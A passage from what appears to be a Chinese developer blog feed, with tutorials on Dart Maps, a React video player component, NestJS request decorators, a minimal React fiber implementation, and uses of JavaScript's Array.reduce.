Map<String, String> infos = {'Alice':"19999999999", 'Bob': "18888888888", 'Charlie': "17777777777"};

1.3、特点

  • 1、键唯一性:每个键只能出现一次
  • 2、值可以重复:不同可以对应相同的
  • 3、无序性Map 中的元素没有固定的顺序。
  // 学生电话薄
  Map<String, String> infos = {'Alice':"19999999999", 'Bob': "18888888888", 'Charlie': "17777777777"};

// 查找某个学生的电话
  print(infos["Alice"]); // 输出: 19999999999

// 添加新的学生信息
  infos["David"] = '16666666666';

// 输出学生信息
  print(infos); // 输出: {Alice: 19999999999, Bob: 18888888888, Charlie: 17777777777, David: 16666666666}

1.4、泛型支持

DartMap 支持泛型,允许指定映射中元素的具体类型,从而提高代码的类型安全性可读性

二、创建和初始化

2.1、直接创建

最简单的方式是直接在花括号{}中列出键值对

Map<String, int> ages = {'Alice': 30, 'Bob': 25, 'Charlie': 35};

2.2、使用构造函数

使用 Map 类的构造函数来创建一个空Map或具有初始键值对的Map

// 创建一个空 Map
Map<String, int> emptyMap = <String, int>{};

// 创建一个包含初始键值对的 Map
Map<int, String> numbersToWords = Map<int, String>.from({
  1: 'one',
  2: 'two',
  3: 'three'
});

2.3、 使用Map.of 构造函数

Map.of 可以从另一个 Map 创建一个新的 Map,确保键值对的独立性

Map<String, String> original = {'apple': '苹果', 'banana': '香蕉'};
Map<String, String> copy = Map.of(original);

2.4、 使用Map.fromIterableMap.fromEntries

  • Map.fromIterable:根据可迭代对象创建 Map,并指定键和值生成器。
  • Map.fromEntries:根据可迭代的 MapEntry 对象创建 MapMap.of 可以从另一个 Map 创建一个新的 Map,确保键值对的独立性
List<String> keys = ['apple', 'banana'];
List<String> values = ['苹果', '香蕉'];

Map<String, String> fruits = Map.fromIterables(keys, values);

List<MapEntry<String, String>> entries = [
  MapEntry('apple', '苹果'),
  MapEntry('banana', '香蕉')
];
Map<String, String> fruitsFromEntries = Map.fromEntries(entries);

三、访问和修改

3.1、访问元素

使用来访问对应的

Map<String, int> ages = {'Alice': 30, 'Bob': 25, 'Charlie': 35};
print(ages['Alice']); // 输出: 30

3.2、修改元素

可以通过直接修改对应的

ages['Alice'] = 31;
print(ages['Alice']); // 输出: 31

3.3、添加元素

如果键不存在,则添加新的键值对;如果键存在,则更新对应的值

ages['David'] = 28;
print(ages); // 输出: {Alice: 31, Bob: 25, Charlie: 35, David: 28}

3.4、移除元素

  • 1、移除键值对:使用remove方法。
ages.remove('Bob');
print(ages); // 输出: {Alice: 31, Charlie: 35, David: 28}
  • 2、清空 Map:使用clear方法。
ages.clear();
print(ages); // 输出: {}

四、遍历

4.1、使用forEach

forEach 方法允许为 Map 中的每个键值对执行一个回调函数

ages.forEach((key, value) => print('$key: $value'));

4.2、使用 entries 属性结合for-in循环

for (var entry in ages.entries) {
  print('${entry.key}: ${entry.value}');
}

五、常用属性和方法

5.1、属性

// length:获取 Map 的大小(键值对的数量)
print(ages.length); 
// isEmpty 和 isNotEmpty:检查 Set 是否为空。
print(emptySet.isEmpty);

5.2、常用方法

  • 1、查找键或值
    // 1、使用 containsKey 检查某个键是否存在。
    print(ages.containsKey('Alice')); // 输出: true
    
    // 2、使用 containsValue 检查某个值是否存在。
    print(ages.containsValue(30)); // 输出: true
    
  • 2、获取所有的键或值
    // 1、使用 `keys` 属性获取所有键。
    print(ages.keys); // 输出: (Alice, Bob, Charlie)
    
    // 2、使用 values 属性获取所有值。
    print(ages.values); // 输出: (30, 25, 35)
    
  • 3、合并Map
    // 使用 addAll 方法将另一个 Map 的键值对添加到当前 Map
    Map<String, int> moreAges = {'Eve': 32};
    ages.addAll(moreAges);
    print(ages); // 输出: {Alice: 30, Bob: 25, Charlie: 35, Eve: 32}
    

六、不可变Map(Map.unmodifiable)

有时需要确保一个 Map 不会被修改。可以使用 Map.unmodifiable 来创建一个不可变的 Map

Map<String, int> immutableAges = Map.unmodifiable({'Alice': 30, 'Bob': 25});

// 下面这行代码会抛出异常,因为 immutableAges 是不可变的
// immutableAges['Charlie'] = 35;

七、总结

Map 提供了一种强大而灵活的方式来处理键值对数据。通过合理利用 Map 的特性,可以编写出更加简洁高效和易于维护的代码。

欢迎一键四连关注 + 点赞 + 收藏 + 评论

by 地狱勇士 at January 23, 2025 01:10 AM

juejin frontend

React 视频播放器组件:Video Player

一、引言

在现代 Web 开发中,视频播放功能是许多应用不可或缺的一部分。React 是一个广泛使用的 JavaScript 库,用于构建用户界面。通过结合 React 和 HTML5 <video> 元素,我们可以轻松创建自定义的视频播放器组件。本文将由浅入深地介绍如何构建一个 React 视频播放器组件,并探讨常见问题、易错点及解决方案。

image.png

二、基础知识

1. HTML5 <video> 标签

HTML5 提供了内置的 <video> 标签,可以方便地嵌入和控制视频内容。它支持多种属性和方法,如 controlsautoplayloop 等,以及事件处理(如 playpauseended)。这些特性使得我们可以直接使用原生浏览器功能来实现基本的视频播放需求。

2. React 组件化思想

React 的核心理念是组件化开发,即将复杂的 UI 分解为多个独立的小部件。每个组件都有自己的状态和生命周期方法,可以通过 props 进行通信。这种模块化的开发方式不仅提高了代码的可维护性,还便于复用和扩展。

三、构建基础 Video Player 组件

1. 初始设置

首先,我们需要安装必要的依赖项并创建一个新的 React 项目。假设你已经安装了 Node.js 和 npm,可以通过以下命令快速搭建:

npx create-react-app video-player
cd video-player
npm start

2. 创建 VideoPlayer 组件

接下来,在 src 目录下创建一个名为 VideoPlayer.js 的文件,并编写如下代码:

import React, { useRef } from 'react';

const VideoPlayer = ({ src }) => {
  const videoRef = useRef(null);

  const handlePlay = () => {
    videoRef.current.play();
  };

  const handlePause = () => {
    videoRef.current.pause();
  };

  return (
    <div>
      <video ref={videoRef} width="600" controls>
        <source src={src} type="video/mp4" />
        Your browser does not support the video tag.
      </video>
      <br />
      <button onClick={handlePlay}>Play</button>
      <button onClick={handlePause}>Pause</button>
    </div>
  );
};

export default VideoPlayer;

在这个简单的示例中,我们使用了 useRef 钩子来获取对 <video> 元素的引用,并通过按钮触发播放和暂停操作。

3. 使用 VideoPlayer 组件

在 App.js 中引入并使用 VideoPlayer 组件:

import React from 'react';
import VideoPlayer from './VideoPlayer';

function App() {
  return (
    <div className="App">
      <h1>React Video Player Example</h1>
      <VideoPlayer src="https://www.w3schools.com/html/mov_bbb.mp4" />
    </div>
  );
}

export default App;

四、常见问题与易错点

1. 视频加载失败

问题描述:视频无法正常加载或显示。 原因分析:可能是视频路径错误、格式不支持或网络连接问题。 解决方案

  • 确保提供的 src 属性指向正确的视频文件路径。
  • 检查浏览器是否支持该视频格式(如 MP4、WebM 等)。
  • 如果视频托管在外部服务器上,请确保其 CORS 设置正确,允许跨域请求。

2. 控制条样式不一致

问题描述:不同浏览器或设备上的控制条样式差异较大。 原因分析:默认情况下,浏览器会根据自身风格渲染控制条。 解决方案:为了保持一致性,可以隐藏默认控制条并使用自定义的 CSS 和按钮来实现相同的功能。例如:

<video ref={videoRef} width="600" style={{ display: 'block' }}>
  <source src={src} type="video/mp4" />
</video>

然后添加自定义的播放/暂停按钮和其他控件。

3. 性能优化不足

问题描述:当页面中有多个视频时,性能下降明显。 原因分析:每个视频实例都会占用一定的内存和 CPU 资源。 解决方案

  • 对于不需要同时播放的视频,可以延迟加载(Lazy Load),即仅当用户滚动到视频区域时才开始加载。
  • 使用 preload 属性控制视频预加载行为,减少不必要的资源消耗。例如:
<video ref={videoRef} width="600" preload="metadata">
  <source src={src} type="video/mp4" />
</video>

4. 状态管理混乱

问题描述:随着功能增加,组件的状态变得复杂难以维护。 原因分析:没有合理规划状态管理和副作用处理。 解决方案

  • 使用 useState 和 useEffect 钩子来管理组件内部状态和生命周期。
  • 将逻辑分离到自定义钩子中,提高代码复用性和可读性。例如:
import React, { useState, useEffect, useRef } from 'react';

const useVideoPlayer = (src) => {
  const [isPlaying, setIsPlaying] = useState(false);
  const videoRef = useRef(null);

  useEffect(() => {
    if (isPlaying) {
      videoRef.current.play();
    } else {
      videoRef.current.pause();
    }
  }, [isPlaying]);

  return { videoRef, isPlaying, setIsPlaying };
};

const VideoPlayer = ({ src }) => {
  const { videoRef, isPlaying, setIsPlaying } = useVideoPlayer(src);

  return (
    <div>
      <video ref={videoRef} width="600">
        <source src={src} type="video/mp4" />
      </video>
      <br />
      <button onClick={() => setIsPlaying(!isPlaying)}>
        {isPlaying ? 'Pause' : 'Play'}
      </button>
    </div>
  );
};

五、总结

通过本文的介绍,我们了解了如何使用 React 构建一个简单的视频播放器组件,并探讨了一些常见的问题和易错点。掌握这些知识可以帮助我们在实际开发中更好地应对挑战,构建高效且用户体验良好的视频播放功能。希望这篇文章对你有所帮助!

by Jimaks at January 23, 2025 12:42 AM

January 22, 2025

juejin frontend

nest 中常用的基础装饰器

常用装饰器

@Request(), @Req()req
@Response(), @Res() *****res
@Next()next
@Session()req.session
@Param(key?: string)req.params``req.params[key]
@Body(key?: string)req.body req.body[key]
@Query(key?: string)req.query``req.query[key]
@Headers(name?: string)req.headers``req.headers[name]
@Ip()req.ip
@HostParam()req.hosts

为了与底层 HTTP 平台(例如 Express 和 Fastify)之间的类型兼容,Nest 提供了 @Res()@Response() 装饰器。@Res() 只是 @Response() 的别名。两者都直接暴露底层原生平台 response 对象接口。使用它们时,你还应该导入底层库(例如 @types/express)的类型以充分利用它们。请注意,当你在方法处理程序中注入 @Res()@Response() 时,你会将 Nest 置于该处理程序的库特定模式,并且你将负责管理响应。这样做时,你必须通过调用 response 对象(例如,res.json(...)res.send(...))来触发某种响应,否则 HTTP 服务器将挂起。

请求 methods

Nest 为所有标准的 HTTP 方法提供装饰器:@Get()@Post()@Put()@Delete()@Patch()@Options()@Head()。此外,@All() 定义了一个端点来处理所有这些。

@ApiTags('users')
@Controller()
export class AppController {
  constructor(private readonly appService: AppService) {}

  @Get()
  @HttpCode(204)
  @Header('Cache-Control', 'none')
  getHello(): string {
    return this.appService.getHello();
  }

  @Get('docs')
  @Redirect('https://docs.nestjs.com', 302)
  getDocs(@Query('version') version: string) {
    if (version && version === '5') {
      return { url: 'https://docs.nestjs.com/v5/' };
    }
  }

  @Post()
  createUser(@Body() user: User): User {
    return this.appService.createUser(user);
  }

  @Put()
  updateUser(@Body() user: User): User {
    return this.appService.updateUser(user);
  }

  @Delete(':id')
  deleteUser(@Param('id') id: string): string {
    return this.appService.deleteUser(id);
  }
}

@Get

get 请求,参数是 string,可以使用 @Param路由参数,@query 查询参数

@Get(':id')
findOne(@Param() params: any, @Query() name: string): string {
  console.log(params.id);
  return `This action returns a #${params.id} cat`;
}

@Param 路由参数

@Param(key?: string)req.params / req.params[key]
@Get('params/:id')
  @ApiOperation({ summary: 'Get params' })
  getParams(@Param('id') id: string): string {
    return id;
  }

@Query 查询参数

@Query(key?: string)req.query / req.query[key]
  @Get('query')
  @ApiOperation({ summary: 'Get query', description: 'Get query' })
  getQuery(@Query('name') name: string): any {
    return name;
  }

@Headers 请求头 header

@Headers(name?: string)req.headers / req.headers[name]
  @Get('headers')
  @ApiOperation({ summary: 'Get headers' })
  getHeaders(@Headers() headers: Headers, @Headers('accept') accept: string) {
    return { headers, accept };
  }

@Header响应头(设置) header

  @Get()
  @ApiOperation({ summary: 'Get hello' })
  @Header('Cache-Control', 'none')
  getHello(): string {
    return '123';
  }

@Post

@Body

@Body(key?: string)req.body / req.body[key]

使用 body 参数记得定义 dto 有利于生成 swagger 和类型校验

export class CreateCatDto {
  name: string;
  age: number;
  breed: string;
}
@Post()
async create(@Body() createCatDto: CreateCatDto) {
  return 'This action adds a new cat';
}

@Put

和 post 相同

@Delete

和 post 相同

@HttpCode 响应状态码

默认情况下响应状态代码始终为 200,POST 请求除外,该代码为 201。我们可以通过在处理程序级别添加

  @Get()
  @HttpCode(204)
  @ApiOperation({ summary: 'Get hello' })
  @Header('Cache-Control', 'none')
  getHello(): string {
    return this.appService.getHello();
  }

@Redirect 重定向

@Redirect() 有两个参数,urlstatusCode,两者都是可选的。如果省略,statusCode 的默认值为 302 (Found)。

可以配置 301 永久重定向,302 临时重定向

  @Get('docs')
  @ApiOperation({ summary: 'Redirect to docs' })
  @Redirect('https://docs.nestjs.com', 302)
  getDocs(@Query('version') version: string) {
    if (version && version === '5') {
      return { url: 'https://docs.nestjs.com/v5/' };
    }
  }

@Res @Response

@Response(), @Res() *****res

Response他和 http 的类型 Response 名称一样,导入不方便,全使用 @Res

  @Delete(':id')
  deleteUser(@Param('id') id: string, @Res() res: Response): string {
    res.status(200).send('123');
    return this.appService.deleteUser(id);
  }

@Req @Request

@Request(), @Req()req

Request他和 http 的类型 Request名称一样,导入不方便,全使用 @Req

  @Get('request')
  getRequest(@Req() req: ExpressRequest): string {
    console.log('🚀 liu123 ~ req:', req);
    return '1';
  }

@Res({ passthrough: true }) 是一个重要的配置,用于控制响应对象的行为。它的作用是告诉 NestJS 不要自动发送响应,而是允许你手动控制响应流程,同时仍然可以使用 NestJS 的标准返回值机制。

@Get()
findAll(@Res() res: Response) {
  res.status(HttpStatus.OK).json([]); // 必须手动发送响应
}

@Get()
findAll(@Res({ passthrough: true }) res: Response) {
  res.status(HttpStatus.OK); // 只设置状态码
  return []; // 返回值由 NestJS 自动处理
}

注意事项

  • 不要混用:如果启用了 passthrough: true,不要在代码中手动调用 res.send()res.json()否则会导致重复发送响应。
  • 推荐使用:在大多数情况下,建议使用 passthrough: true因为它结合了手动控制响应对象和 NestJS 自动处理返回值的优点。
  • 避免滥用:如果你不需要操作响应对象,直接使用 NestJS 的标准返回值机制即可,无需注入 @Res

@Next

@Next()next

需要结合中间件使用

@Controller('auth')
export class AuthController {
  @Post('login')
  login(@Next() next: NextFunction) {
    if (!isAuthenticated) {
      return next(); // 交给下一个中间件或处理程序
    }
    return 'Login successful';
  }
}

@Session

@Session()req.session
@Get('session')
  getSession(@Session() session: Record<string, any>): string {
    console.log('🚀 liu123 ~ session:', session);
    return '1';
  }

@Ip

@Ip()req.ip
@Get('ip')
  getIp(@Ip() ip: string): string {
    console.log('🚀 liu123 ~ ip:', ip);
    return '1';
  }

@HostParam

@HostParam()req.hosts
@Get('HostParam')
  getHostParam(@HostParam() host: string): string {
    console.log('🚀 liu123 ~ host:', host);
    return '1';
  }

by LikM at January 22, 2025 07:15 PM

不只是mini-react第二节:实现最简fiber

省流|总结

首先,我们编写JSX文件,并通过Babel等转换工具将其转化为createElement()函数的调用,最终生成虚拟 DOM(Vdom)格式。举个例子:

// 原始 JSX
const App = <div>hi-mini-react</div>;

// Babel 编译后
const App = React.createElement(
  "div",
  null,
  "hi-mini-react"
);

// createElement 返回的虚拟 DOM 结构
const App = {
  type: "div",
  props: {
    children: ["hi-mini-react"]
  }
};

接下来,将转换后的虚拟 DOM 格式传入render函数,启动fiber流程,调用代码如下:

ReactDOM.createRoot(document.querySelector("#root")).render(App);

这段代码的作用是将整个App组件渲染到root容器中。

然后,fiber流程启动。render函数接收传入的虚拟 DOM,并构建root fiber节点,即fiber树的根节点,也是第一个工作单元nextWorkOfUnit。此时,fiber树中仅包含根节点的真实 DOM 引用(容器),其他节点尚未创建。root fiber节点具有如下特点:

  • 它的dom属性指向容器节点
  • 它的props.children包含整个应用的虚拟 DOM 结构
  • 它是整个fiber树的起点
nextWorkOfUnit = {
  dom: container,  // 真实 DOM 元素
  props: {
    children: [el],  // el 是传入的 App 虚拟 DOM
  },
};

接下来,启用workLoop任务调度系统。该系统通过requestIdleCallback在浏览器空闲时执行任务。当检测到剩余时间不足(小于 1ms)时,系统会主动让出主线程,从而实现任务的分片处理。

每次workLoop循环都会调用performWorkOfUnit,确保每次只处理一个fiber节点,实现任务的分片执行,这些任务可以随时中断与恢复。如果当前fiber节点的真实 DOM 引用不存在,performWorkOfUnit会在此fiber节点上添加dom引用,并将该fiber节点指向父级fiber节点,同时将其真实 DOM 引用传递给父级节点,形成如下结构:

//可视化展示
fiber节点                 真实DOM节点
┌─────────┐               ┌─────────┐
│div1 fiber│    dom引用    │  <div>  │
├─────────┤ ────────────► ├─────────┤
│parent   │               │         │
│dom      │               │         │
└─────────┘               └─────────┘
     ▲                         ▲
     │                         │
     │ parent                  │ append(h1)
     │                         │
┌─────────┐               ┌─────────┐
│h1 fiber │    dom引用    │  <h1>   │
├─────────┤ ────────────► ├─────────┤
│parent   │               │         │
│dom      │               │         │
└─────────┘               └─────────┘

//具体代码
const dom = (fiber.dom = createDom(fiber.type)); 
fiber.parent.dom.append(dom);

接着,performWorkOfUnit会调用两个函数:

  • updateProps:读取fiber节点中的虚拟 DOM 属性,并将其应用到对应的真实 DOM 上。
  • initChildren:将当前fiber节点传入,通过深度优先遍历的方式,将当前树形结构的fiber节点转化为链表结构。这样,大的fiber节点被拆分成一个个小的fiber节点,最终形成自上而下的树形结构。这种方式将整个渲染过程分割成一个个小任务,每个任务处理一个节点,从而实现任务的分片,避免了长任务阻塞主线程。

最后,遍历由initChildren构建的链表结构。需要注意的是,这里并不是先遍历再执行,而是边遍历边执行。

最简任务调度器workLoop(时间分片)

  1. 首次调用requestIdleCallback(workLoop),浏览器会在空闲时执行workLoop函数。
  2. workLoop函数会执行任务,并在每次执行任务时检查剩余空闲时间。
  3. 如果空闲时间不足 1 毫秒(timeRemaining() < 1),shouldYield会被设置为true,从而暂停当前任务。
  4. 然后,requestIdleCallback(workLoop)会被调用来请求下一次空闲时间,从而在下次空闲时继续执行未完成的任务。
  5. 每次任务执行时,taskId都会递增,用于标记任务的顺序。

什么是下次空闲时?这里的下次空闲时是指当前可能有高优先级任务需要处理,那么浏览器会暂停当前相对低优先级的任务而去处理这个高优先级任务,等这个高优先级任务处理完成后再回过头来执行低优先级任务,这就是时间分片。

let taskId = 1;
function workLoop(deadline) {
  taskId++;

  let shouldYield = false;
  while (!shouldYield) {
    // run task
    console.log(`taskId:${taskId} run task`);
    // dom

    shouldYield = deadline.timeRemaining() < 1;
  }

  requestIdleCallback(workLoop);// 再次调用
}

requestIdleCallback(workLoop);//首次调用


实现最简fiber

执行顺序:

jsxbabel等工具编译createElement()render()workLoop()performWorkOfUnit()initChildren()树形结构转链表结构

1.通过createElement创建虚拟DOM树

createElement函数负责创建一个虚拟 DOM 对象。它的参数包括:type(元素类型,如divspan等),props(元素属性),children(元素的子节点)。在 React 中,children的处理方式非常重要,因为它决定了如何渲染子元素。createElement会递归处理children,如果children是文本节点,则直接将其转换为文本节点。如果是其他 React 元素或组件,它会再次调用createElement来生成对应的虚拟 DOM。

// 1. 首先通过createElement创建React元素
function createElement(type, props, ...children) {
  return {
    type,
    props: {
      ...props,
      children: children.map((child) => {
        // 如果子元素是字符串,则创建文本节点
        return typeof child === "string" ? createTextNode(child) : child;
      }),
    },
  };
}

2.调用render函数,设置工作单元(fiber节点)nextWorkOfUnit

由前一节博客可以知道:

el为编写的jsx文件

container为传入的真实dom节点(在这里是root节点)

render函数是 React 渲染流程的起点。它会将传入的虚拟 DOM(el)渲染到指定的容器(container)中。在这个过程中,React 会为每个虚拟 DOM 元素创建一个 fiber 对象,并构建一个 fiber 树。每个 fiber 节点包含对应的 DOM 元素、propschildren等信息。这样 React 就能根据这个 fiber 树来管理和更新实际的 DOM。

// 2. 调用render函数开始渲染
function render(el, container) {
  // 创建第一个工作单元(root fiber)
  nextWorkOfUnit = {
    dom: container,//传入的真实root节点
    //虚拟dom元素
    props: {
      children: [el],
    },
  };
}

3.工作循环workLoop启动

workLoop是 React 渲染任务的调度器。它会根据浏览器的空闲时间进行任务调度,并决定什么时候更新哪些 fiber 节点。当浏览器空闲时,workLoop会通过requestIdleCallback触发任务执行。如果当前任务无法在空闲时间内完成,workLoop会暂停任务,等待下一次空闲时间。通过这种异步调度方式,React 可以避免阻塞主线程,确保渲染操作的流畅性。

// 3. 程序启动时就开始监听空闲时间
let nextWorkOfUnit = null;
function workLoop(deadline) {
  // deadline对象包含:
  // timeRemaining(): 返回当前空闲期剩余的毫秒数
  // didTimeout: 表示任务是否超时
  let shouldYield = false;
  while (!shouldYield && nextWorkOfUnit) {
    // 1. 条件判断:
    // - 是否需要让出主线程(shouldYield)
    // - 是否还有工作要做(nextWorkOfUnit)
    
    // 2. 处理当前工作单元并重新分配工作单元
    nextWorkOfUnit = performWorkOfUnit(nextWorkOfUnit);
    
    // 3. 检查是否需要让出主线程
    shouldYield = deadline.timeRemaining() < 1;
  }
  // 4. 无论是否完成所有工作,都继续监听下一个空闲时间
  requestIdleCallback(workLoop);
}

4.performWorkOfUnit重新分配工作单元

performWorkOfUnit是处理每个 fiber 节点的函数。在执行过程中,它会根据虚拟 DOM 的typeprops更新实际 DOM。当 fiber 节点包含子节点时,performWorkOfUnit会递归处理子节点。每处理完一个节点,performWorkOfUnit会返回该节点的下一个待处理工作单元,从而继续构建 DOM 树。

function performWorkOfUnit(fiber) {
  // 4 如果没有DOM节点,创建DOM
  if (!fiber.dom) {
    const dom = (fiber.dom = createDom(fiber.type));
    fiber.parent.dom.append(dom);
    //5 属性协调
    updateProps(dom, fiber.props);
  }
//---------------------------------------只关注前面即可
  // 6 处理子节点,构建fiber树
  initChildren(fiber)

  // 7 返回下一个工作单元,按照以下优先级:
  // 先找子节点
  if (fiber.child) {
    return fiber.child;
  }
  // 没有子节点找兄弟节点
  if (fiber.sibling) {
    return fiber.sibling;
  }
  // 都没有就回到父节点的兄弟节点
  return fiber.parent?.sibling;
}

5.updateProps 属性协调

updateProps 函数的核心目的是将 React 元素的属性(props)设置到实际的 DOM 节点上,而这里传入的dom实际上就是fiber.dom

function updateProps(dom, props) {
  Object.keys(props).forEach((key) => {
    if (key !== "children") {
      dom[key] = props[key];
    }
  });
}

举个简单的例子:

// 假设我们写了这样一个React元素
<div className="box" id="main">Hello</div>

// React会将其转换为这样的对象
{
  type: 'div',
  props: {
    className: 'box',
    id: 'main',
    children: ['Hello']
  }
}

// 然后在performWorkOfUnit中:
// 1. 首先创建DOM节点
const dom = document.createElement('div')  // <div></div>

// 2. 调用updateProps设置属性
updateProps(dom, props)  
// 结果:<div class="box" id="main"></div>

可视化展示:

   React元素的属性      →     真实DOM节点的属性
    {                           <div
      className: 'box'    →       class="box"
      id: 'main'         →       id="main"
      children: [...]            >
    }                           </div>
  
  
   React属性世界           DOM属性世界
   ┌──────────┐          ┌──────────┐
   │  props   │   ═══>   │   DOM    │
   └──────────┘          └──────────┘
        │                      │
   className: 'box'       class="box"
   onClick: fn         addEventListener

6.initChildren子节点处理

initChildren函数的任务是初始化虚拟 DOM 中的子节点。它会遍历子节点,并为每个子节点创建一个新的 fiber 节点。每个新创建的 fiber 节点将被添加到父节点的children数组中,从而形成树形结构。React 会继续递归处理每个子节点,直到所有子节点都被处理为止。

function initChildren(fiber) {
  const children = fiber.props.children;
  let prevChild = null;
  // 遍历所有子节点,建立fiber链接关系
  children.forEach((child, index) => {
    const newFiber = {
      type: child.type,
      props: child.props,
      child: null,//子级
      parent: fiber,//父级
      sibling: null,//兄弟级
      dom: null,
    };

    // 第一个子节点设为child
    if (index === 0) {
      fiber.child = newFiber;
    } else {
      // 其他子节点设为上一个节点的sibling
      prevChild.sibling = newFiber;
    }
    prevChild = newFiber;
  });
}

7.performWorkOfUnit将树形结构通过深度遍历转化为链表结构

performWorkOfUnit函数中,React 通过深度优先遍历将树形结构转化为链表结构。这种链表结构可以帮助 React 更高效地遍历并更新每个节点。每个 fiber 节点不仅包含当前节点的信息,还持有对父节点、兄弟节点的引用,这使得 React 可以灵活地在渲染过程中调整工作单元。

function performWorkOfUnit(fiber) {
  // ... 前面的代码省略 ...

  // 这三行代码决定了下一个工作单元,实际上就是在构建链表
  if (fiber.child) {
    return fiber.child;      // 1️⃣ 优先返回子节点
  }
  if (fiber.sibling) {
    return fiber.sibling;    // 2️⃣ 没有子节点就返回兄弟节点
  }
  return fiber.parent?.sibling;  // 3️⃣ 都没有就返回父节点的兄弟节点
}

源代码

// 创建文本节点
function createTextNode(text) {
  console.log("heiheihei!!!!!!!");
  return {
    type: "TEXT_ELEMENT",
    props: {
      nodeValue: text,
      children: [],
    },
  };
}

// 创建React元素
// type: 元素类型
// props: 元素属性
// children: 子元素
function createElement(type, props, ...children) {
  return {
    type,
    props: {
      ...props,
      children: children.map((child) => {
        return typeof child === "string" ? createTextNode(child) : child;
      }),
    },
  };
}

// 渲染函数:将React元素渲染到容器中
function render(el, container) {
  nextWorkOfUnit = {
    dom: container,
    props: {
      children: [el],
    },
  };
}

// 下一个工作单元
let nextWorkOfUnit = null;

// 工作循环:利用浏览器空闲时间处理任务
function workLoop(deadline) {
  let shouldYield = false;
  while (!shouldYield && nextWorkOfUnit) {
    nextWorkOfUnit = performWorkOfUnit(nextWorkOfUnit);
    // 当剩余时间小于1ms时,让出主线程
    shouldYield = deadline.timeRemaining() < 1;
  }

  requestIdleCallback(workLoop);
}

// 根据类型创建DOM节点
function createDom(type) {
  return type === "TEXT_ELEMENT"
    ? document.createTextNode("")
    : document.createElement(type);
}

// 更新DOM节点的属性
function updateProps(dom, props) {
  Object.keys(props).forEach((key) => {
    if (key !== "children") {
      dom[key] = props[key];
    }
  });
}

// 初始化fiber节点的子节点
// 构建fiber树的链表结构:child(第一个子节点)和sibling(兄弟节点)
function initChildren(fiber) {
  const children = fiber.props.children;
  let prevChild = null;
  children.forEach((child, index) => {
    const newFiber = {
      type: child.type,
      props: child.props,
      child: null,
      parent: fiber,
      sibling: null,
      dom: null,
    };

    if (index === 0) {
      fiber.child = newFiber;
    } else {
      prevChild.sibling = newFiber;
    }
    prevChild = newFiber;
  });
}

// 处理工作单元
// 主要完成三件事:
// 1. 创建DOM节点
// 2. 处理props
// 3. 构建fiber树
// 4. 返回下一个工作单元
function performWorkOfUnit(fiber) {
  // 1. 创建DOM节点,保证一次只处理一个fiber节点(任务分片机制)
  if (!fiber.dom) {
    const dom = (fiber.dom = createDom(fiber.type));
    // 将DOM节点添加到父节点
    fiber.parent.dom.append(dom);
    // 2. 处理props
    updateProps(dom, fiber.props);
  }

  // 3. 构建fiber树
  initChildren(fiber)

  // 4. 返回下一个要执行的任务
  // 遍历顺序:先子节点,然后兄弟节点,最后回到父节点的兄弟节点
  if (fiber.child) {
    return fiber.child;
  }

  if (fiber.sibling) {
    return fiber.sibling;
  }

  return fiber.parent?.sibling;
}

// 启动工作循环
requestIdleCallback(workLoop);

// React对象
const React = {
  render,
  createElement,
};

export default React;

by 我不是迈巴赫 at January 22, 2025 06:05 PM

数组reduce 5大应用场景你都知道吗?

大家好!今天我们将深入探讨JavaScript中的reduce方法,并通过五个实际应用场景,帮助大家更深刻地理解和体会reduce的便利性。

一、cookie工具函数的封装

在Web开发中,Cookie是一个常用的存储机制,用于在客户端保存用户信息。通过reduce方法,我们可以将Cookie字符串解析为一个对象,方便后续的操作。

const CookieUtil = {
  /**
   * 获取所有 Cookies,并将其转换为对象
   * 使用 reduce 解析 cookie 字符串
   */
  getCookies: function () {
    return document.cookie.split("; ").reduce((prev, cookieStr) => {
      const [key, value] = cookieStr.split("=");
      prev[decodeURIComponent(key)] = decodeURIComponent(value);
      return prev;
    }, {});
  },

  /**
   * 设置一个 Cookie
   * @param {string} name - Cookie 名称
   * @param {string} value - Cookie 值
   * @param {number} [days] - 过期天数
   * @param {string} [path] - Cookie 路径
   */
  setCookie: function (name, value, days, path = "/") {
    let cookieStr = `${encodeURIComponent(name)}=${encodeURIComponent(value)}`;

    if (days) {
      const expirationDate = new Date();
      expirationDate.setTime(
        expirationDate.getTime() + days * 24 * 60 * 60 * 1000
      );
      cookieStr += `; expires=${expirationDate.toUTCString()}`;
    }

    cookieStr += `; path=${path}`;
    document.cookie = cookieStr;
  },

  /**
   * 获取单个 Cookie 的值
   * @param {string} name - Cookie 名称
   * @returns {string | null} - Cookie 值或 null
   */
  getCookie: function (name) {
    const cookies = this.getCookies();
    return cookies[name] || null;
  },

  /**
   * 删除一个 Cookie
   * @param {string} name - Cookie 名称
   * @param {string} [path] - Cookie 路径
   */
  deleteCookie: function (name, path) {
    this.setCookie(name, "", -1, path);
  },
};

getCookies方法中,我们使用reduce将获取的Cookie转换为对象格式,从而可以通过键值对的方式获取具体Cookie的值。这种方式不仅提高了代码的可读性,也简化了Cookie的管理。

使用示例:

// 使用示例
CookieUtil.setCookie("userName", 7);
CookieUtil.getCookie("userName");

二、搜索功能

在处理数据时,模糊搜索是一个常见需求。通过reduce,我们可以实现对数组中对象(根据其中的某个字段)的模糊搜索,提高搜索效率。

比如有这样一组数据:

const mobileList = [
  { id: 1, name: "Mate XT 非凡大师" },
  { id: 2, name: "Mate 60 RS 非凡大师" },
  { id: 3, name: "Pura 70 Ultra" },
  { id: 4, name: "nova 13 Pro" },
  { id: 5, name: "nova Flip" },
];

现在对name 字段进行模糊搜索,就可以使用reduce



/**
 * 使用 reduce 实现模糊搜索
 * @param {Array} array - 要搜索的数组
 * @param {string} searchName - 搜索关键词
 * @returns {Array} - 匹配的手机类型数组
 */
const serchMobile = (array, searchName) => {
  const lowerCaseName = searchName.toLowerCase();
  return array.reduce((prev, mobile) => {
    if (mobile.name.toLowerCase().includes(lowerCaseName)) {
      prev.push(mobile);
    }
    return prev;
  }, []);
};

使用示例:


// 使用示例
const searchResult1 = searchName(mobileList, "mate");
console.log(searchResult1);

通过上面示例reduce的使用,我们可以轻松地实现对数组中元素的过滤操作,尤其是在需要对复杂数据结构进行筛选时,reduce的优势更加明显。

三、数据分类功能

数据分类是数据处理中的基础任务之一。通过reduce,我们可以根据指定的属性对数据进行分组,形成一个对象,键为分组依据,值为该组的数组。

有如下一段数据:

const products = [
  { id: 1, name: "苹果手机", category: "电子产品", price: 6999 },
  { id: 2, name: "耐克运动鞋", category: "服装", price: 1299 },
  { id: 3, name: "索尼耳机", category: "电子产品", price: 499 },
  { id: 4, name: "阿迪达斯T恤", category: "服装", price: 299 },
  { id: 5, name: "三星电视", category: "电子产品", price: 3999 },
